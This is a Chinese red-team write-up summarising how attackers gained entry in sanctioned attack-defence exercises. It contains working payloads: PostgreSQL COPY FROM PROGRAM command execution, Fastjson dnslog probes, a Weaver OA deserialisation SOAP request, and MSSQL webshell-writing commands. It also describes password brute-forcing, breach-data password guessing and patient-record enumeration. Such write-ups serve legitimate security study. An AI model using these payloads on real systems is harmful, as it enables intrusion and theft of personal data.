前言
(可能思路狹隘,有缺有錯(cuò),師傅們多帶帶)
【查看資料】
Author: 0ne
本篇文章數(shù)據(jù)來(lái)源于18+省市級(jí)別HVV,90+單位失陷報(bào)告。(一部分是筆者的參與,一部分是薅的公司其他師傅的報(bào)告)思路樸素不包含釣魚(yú)和叼炸天的0day。

突破入口點(diǎn)方法統(tǒng)計(jì)圖:

攻防演練中得分項(xiàng)只關(guān)注兩點(diǎn),權(quán)限&數(shù)據(jù):權(quán)限類型分為系統(tǒng)權(quán)限和應(yīng)用權(quán)限,權(quán)限高低又分為管理員權(quán)限和普通用戶權(quán)限。數(shù)據(jù)一般是要四件套,姓名,手機(jī)號(hào),身份證,住址。通常敏感數(shù)據(jù)這樣定義,不過(guò)看當(dāng)前的應(yīng)用可能敏感信息的定義又會(huì)不同,比如醫(yī)院系統(tǒng),病例信息就算是敏感數(shù)據(jù)。
根據(jù)上述統(tǒng)計(jì)結(jié)果由高到低選取部分得分方法進(jìn)行說(shuō)明。
弱口令[web應(yīng)用]
弱口令是永遠(yuǎn)修復(fù)不了的漏洞,每場(chǎng)攻防演練都會(huì)有弱口令撕開(kāi)的口子(出現(xiàn)次數(shù)29)
這里討論的是一些web應(yīng)用的弱口令,不包括統(tǒng)計(jì)結(jié)果的
PostgreSQL/redis/VPN/Jenkins/Adminer的弱口令。
說(shuō)起弱口令那就不得不提爆破的技巧了。爆破前應(yīng)想辦法繞過(guò)驗(yàn)證碼,部分驗(yàn)證碼存在不刷新或是有驗(yàn)證的邏輯錯(cuò)誤可繞過(guò)的情況。通常在忘記密碼處可能會(huì)存在用戶名枚舉漏洞。對(duì)于用戶名字典,根據(jù)當(dāng)前的系統(tǒng)可猜測(cè)為姓名簡(jiǎn)稱或是工號(hào)ID。也可翻閱當(dāng)前登錄框的JS正則或是google信息搜索進(jìn)行合理猜測(cè)。在有大量用戶基數(shù)的情況下,通常固定弱口令遍歷用戶名效果最佳。在多次通過(guò)SQL注入獲取登錄后臺(tái)密碼md5解密后的情況來(lái)看,管理員以域名簡(jiǎn)稱或是系統(tǒng)簡(jiǎn)稱+@年份出現(xiàn),或是相關(guān)的簡(jiǎn)稱的密碼概率不小。如:某消防系統(tǒng)/bjtuxfk[xxxx消防科],某婦聯(lián)后臺(tái)/gzfl@2020。
好用的字典
https://github.com/fuzz-security/Superwordlist
https://github.com/gh0stkey/Web-Fuzzing-Box
弱口令[其他]
數(shù)據(jù)庫(kù)弱口令只遇見(jiàn)了PostgreSQL/Redis,其它未遇見(jiàn)可能那些常見(jiàn)使用的數(shù)據(jù)庫(kù)經(jīng)常使用,剩下的可能連運(yùn)維都不知道這開(kāi)著的。
PostgreSQL(從版本9.3至11.2)任意命令執(zhí)行漏洞(CVE-2019-9193)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
Redis
連上先info查看Server信息[redis版本和OS信息]:
Redis 4.x/5.x RCE
https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-windows
linux
寫(xiě)計(jì)劃任務(wù),寫(xiě)公鑰,寫(xiě)webshell[知道web路徑]
Windows
寫(xiě)啟動(dòng)項(xiàng),寫(xiě)webshell[知道web路徑]
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
https://github.com/r35tart/RedisWriteFile
windows說(shuō)實(shí)話沒(méi)遇到過(guò),權(quán)限夠了,先寫(xiě)啟動(dòng)項(xiàng),再想辦法給它干重啟[YY的沒(méi)打過(guò)QAQ]
這兩篇windows&redis蠻細(xì)的:
https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940
VPN弱口令
如果是WebVPN的話,用戶基數(shù)大,可以固定弱口令按照學(xué)號(hào)工號(hào)ID爆破。案例中的VPN弱口令是一個(gè)客戶端,需要下載,密碼不像是試出來(lái)的,更像是從Google/Git信息泄露,或是知道該員工的手機(jī)號(hào)扔進(jìn)褲子里,根據(jù)里面的信息拼湊出來(lái)的[個(gè)人猜測(cè)]。
Jenkins弱口令
后臺(tái)腳本命令行可執(zhí)行命令,LOLBAS下載執(zhí)行沒(méi)啥說(shuō)的。
Adminer弱口令
MySQL寫(xiě)webshell也沒(méi)啥說(shuō)的。
shiro反序列化
shiro永遠(yuǎn)的神!沒(méi)有shiro我都不知道怎么日站了(出現(xiàn)次數(shù)28)
這兩年來(lái)shiro反序列化可謂是攻防演練中的漏洞利用之首,無(wú)論是公司自研的資產(chǎn)收集平臺(tái)還是git上優(yōu)秀的項(xiàng)目ShuiZe等等都帶著shiro指紋的識(shí)別。專找目標(biāo)的shiro也很簡(jiǎn)單,目標(biāo)發(fā)散到域名發(fā)散到子域名發(fā)散到IP到全端口,將這些URL導(dǎo)入shiro識(shí)別工具。再跑key,再利用。統(tǒng)計(jì)的28個(gè)shiro中有27個(gè)通過(guò)OneforAll或是FoFa等方式收集,其中有一個(gè)shiro在微信公眾號(hào)中找到的。
好用的tools:
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack
任意文件上傳[通用]
樸實(shí)無(wú)華(出現(xiàn)次數(shù)10)
一般情況下拿shell最快的方法就是找上傳,我們應(yīng)該快速驗(yàn)證上傳是否是基于后端的白名單校驗(yàn)。如果是后端的白名單校驗(yàn),在沒(méi)有解析漏洞或是其它漏洞的組合下,我們應(yīng)該放棄該接口。需要注意的是我們?cè)谏蟼魑募袛嗪诎酌麊螘r(shí),上傳的文件內(nèi)容最好是無(wú)害的,否則可能會(huì)WAF干擾。我們一定要清楚該次上傳失敗是因?yàn)槌绦虮旧淼南拗七€是WAF的阻攔。切忌對(duì)upload接口fuzz,雷聲大雨點(diǎn)小。
值得一提的是在統(tǒng)計(jì)的10次上傳中,有一次在微信小程序,有一個(gè)swagger信息泄露upload接口,有一次在某銀行的在線聊天系統(tǒng),點(diǎn)擊人工時(shí),會(huì)出現(xiàn)傳圖片的按鈕。
客服系統(tǒng):

還有一個(gè)案例:
進(jìn)入后臺(tái)通過(guò)Kindeditor文件上傳,又通過(guò)XXXX進(jìn)行文件管理,有重命名功能,改為.php。getshell。
文件上傳繞WAF的本質(zhì)就是服務(wù)器與WAF對(duì)數(shù)據(jù)包解析的差異性,下面提供幾個(gè)畸形數(shù)據(jù)包:

Fastjson反序列化
也好用(出現(xiàn)次數(shù)6)
判斷是否為fastjson:報(bào)錯(cuò)拋出異常或是DNSlog
{"rand1":{"@type":"JAVA.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
遇見(jiàn)WAF:
hex編碼或是b:

詳見(jiàn):
https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568
好用的tools:
https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit
敏感信息泄露
蒼蠅再小也是肉(出現(xiàn)次數(shù)5)
醫(yī)院啊,這個(gè)比較多遇見(jiàn)的案例都是微信公眾號(hào)或是小程序,遍歷病例數(shù)據(jù):


還遇見(jiàn)了swagger信息泄露構(gòu)造接口查詢:


UEditor1.4.3任意文件上傳
出其不意(出現(xiàn)次數(shù)5)
當(dāng)遇見(jiàn).NET的網(wǎng)站時(shí),右鍵查看圖片URL為~/ueditor~/upload/image/[20200101]這種年月格式/25位數(shù)字.png,就可以判斷該站點(diǎn)使用了UEditor[直接目錄掃描工具掃也行],就需要我們拼接出路徑~/net/controller.ashx:
~前面可能不太固定需要自己在JS里找信息,或是合理猜測(cè)。
提一嘴,之前遇見(jiàn)個(gè)站點(diǎn).png?.aspx,站點(diǎn)返回了404,可以直接.png.aspx,同時(shí)UEditor有過(guò)濾?的特性,在有WAF的時(shí)候可酌情使用。

MSSQL堆疊注入
基操
--os-shell后,得到一個(gè)命令行,一般是certutil下載執(zhí)行或是powershell直接上線。也可寫(xiě)入webshell:
找靜態(tài)資源定位物理路徑
for /r C: %i in (*xxx*) do @echo %i
dir /s/a-d/b C:*xxx.xxx
echo ^<一句話^> >C:phpstudy_proWWWshell.txt
<>注意使用^轉(zhuǎn)義


OA系統(tǒng)
沒(méi)啥說(shuō)的,有0day砸0day
泛*OA,致*OA,通*OA,用*NC
github搜搜搜,內(nèi)部自己有積累未批露利用點(diǎn)最好。
泛*OA的兩個(gè)案例用的WorkflowServiceXml反序列化比較絲滑。
判斷是否可利用:
POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://m5alw5.dnslog.cn</url>
<string>http://m5alw5.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>

雜七雜八
胡言亂語(yǔ)
SQL注入獲取敏感數(shù)據(jù)感覺(jué)沒(méi)啥提的,記得sqlmap加上參數(shù)random-agent。
S2在外網(wǎng)見(jiàn)的少了,也不知道大佬咋翻墻進(jìn)去的。
歷史遺留后門(mén)404.jsp成了入口點(diǎn)也是離譜。
各種debug信息泄露云key導(dǎo)入行云管家證明權(quán)限就OK。
已經(jīng)語(yǔ)無(wú)倫次了......
閑言閑語(yǔ)
柿子撿軟的捏
web打點(diǎn)本就是個(gè)效率活,打得就是軟柿子,不要給你一個(gè)站點(diǎn)測(cè)了半天到最后才發(fā)現(xiàn):咦這里有個(gè)上傳/shiro/fastjson....這就耽誤功夫了,要帶著目的性,盡量減少試錯(cuò)的過(guò)程,少做無(wú)用功。